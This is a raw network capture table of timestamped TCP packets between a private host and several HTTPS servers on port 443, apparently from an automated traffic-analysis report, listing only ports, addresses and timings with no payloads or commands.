Oct 7, 2024 21:53:37.991050005 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.991117954 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.991267920 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.991275072 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.028460026 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.028778076 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.028858900 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.029053926 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.029071093 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.029083967 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.029089928 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.031474113 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.031501055 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.031685114 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.031685114 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.031713009 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.070216894 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.070323944 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.070367098 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.070435047 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.070535898 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.070552111 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.070569038 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.070575953 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.072880983 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.072905064 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.072978973 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.073132992 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.073146105 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.165328979 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.165968895 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.165996075 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.166573048 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.166579962 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.267313957 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.267556906 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.267652035 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.268084049 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.268101931 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.268114090 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.268120050 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.270951033 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.270987988 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.271064043 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.271275997 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.271291971 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.324091911 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324115992 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324156046 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324194908 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.324229956 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324258089 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.324558973 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.324583054 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324605942 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.324652910 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324708939 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.324995041 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.414997101 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.415047884 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.415113926 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.415266037 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:38.415282965 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:38.524852991 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.525336981 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.525352001 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.525892973 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.525899887 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.597760916 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.598351002 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.598371029 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.598893881 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.598918915 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.621799946 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.621898890 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.621951103 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.621954918 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.621999025 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.622226954 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.622243881 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.622261047 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.622268915 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.624921083 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.624953985 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.625051022 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.625231981 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.625240088 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.637141943 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.637553930 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.637563944 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.638212919 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.638217926 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.704005957 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.704456091 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.704468966 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.704878092 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.704885006 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.732331038 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.732518911 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.732556105 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.732645035 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.732743979 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.732743979 CEST	50010	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.732791901 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.732820988 CEST	443	50010	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.735402107 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.735460997 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.735544920 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.735675097 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.735693932 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.799525976 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.799652100 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.799841881 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.799875021 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.799875021 CEST	50011	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.799894094 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.799906969 CEST	443	50011	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.802567005 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.802603006 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.802678108 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.802824020 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.802839041 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.887258053 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.887933016 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.887964010 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.888396025 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.888403893 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.918282032 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.918735027 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.918817043 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.918894053 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.918894053 CEST	50009	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.918921947 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.918932915 CEST	443	50009	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.921941996 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.921988964 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.922064066 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.922261000 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.922276974 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.983500957 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.983570099 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.983680010 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.983762026 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.983925104 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.983947039 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.983962059 CEST	50012	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.983968973 CEST	443	50012	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.987061024 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.987082005 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:38.987174034 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.987375021 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:38.987392902 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.191574097 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.193577051 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.193615913 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.194438934 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.194447041 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.194480896 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.194492102 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.226073980 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.226519108 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.226540089 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.227011919 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.227018118 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.320390940 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.322789907 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.322850943 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.322905064 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.322927952 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.322967052 CEST	50014	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.322973013 CEST	443	50014	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.325618982 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.325669050 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.325736046 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.325889111 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.325906038 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.368680000 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.369129896 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.369141102 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.369545937 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.369550943 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.434505939 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.434981108 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.435010910 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.435425043 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.435432911 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.507869005 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.508140087 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.508202076 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.508253098 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.508270025 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.508282900 CEST	50015	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.508290052 CEST	443	50015	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.510886908 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.510907888 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.511076927 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.511243105 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.511251926 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.536719084 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.536758900 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.536813974 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.536875010 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.536925077 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.537183046 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.537200928 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.537215948 CEST	50016	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.537223101 CEST	443	50016	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.540884018 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.540937901 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.541054964 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.541244030 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.541259050 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.542170048 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.542195082 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.542248011 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.542262077 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.542372942 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.542766094 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.542778015 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.542787075 CEST	50013	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:39.542790890 CEST	443	50013	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:39.543204069 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.543565989 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.543586969 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.543992043 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.543998957 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.613678932 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.614109039 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.614132881 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.614537001 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.614542007 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.641535997 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.642260075 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.642319918 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.642349958 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.642364025 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.642373085 CEST	50017	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.642378092 CEST	443	50017	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.644788980 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.644824982 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.644901991 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.645009041 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.645025015 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.710202932 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.710344076 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.710526943 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.710560083 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.710576057 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.710587978 CEST	50018	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.710593939 CEST	443	50018	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.713186026 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.713206053 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.713284016 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.713421106 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.713427067 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.858472109 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:39.858527899 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:39.936512947 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.936928034 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.936973095 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:39.937402010 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:39.937410116 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.031776905 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.031805992 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.031866074 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.031867027 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.031943083 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.032135010 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.032154083 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.032171965 CEST	50019	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.032180071 CEST	443	50019	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.035438061 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.035525084 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.035594940 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.035728931 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.035763025 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.144825935 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.145339966 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.145350933 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.145822048 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.145826101 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.176412106 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.178509951 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.178544998 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.178936005 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.178941965 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.246661901 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.246714115 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.246901035 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.246963978 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.246975899 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.246984959 CEST	50020	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.246989012 CEST	443	50020	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.249869108 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.249912024 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.249978065 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.250088930 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.250096083 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.269555092 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.269920111 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.269941092 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.270379066 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.270385981 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.275544882 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.275881052 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.275923014 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.275940895 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.275974989 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.276149035 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.276165009 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.276175022 CEST	50021	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.276180983 CEST	443	50021	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.278381109 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.278460026 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.278565884 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.278667927 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.278701067 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.345048904 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.346972942 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.346982956 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.347434998 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.347439051 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.367295980 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.367469072 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.367577076 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.367752075 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.367765903 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.367777109 CEST	50022	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.367782116 CEST	443	50022	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.370115042 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.370193005 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.370285988 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.370408058 CEST	50027	443	192.168.2.5	13.107.246.64
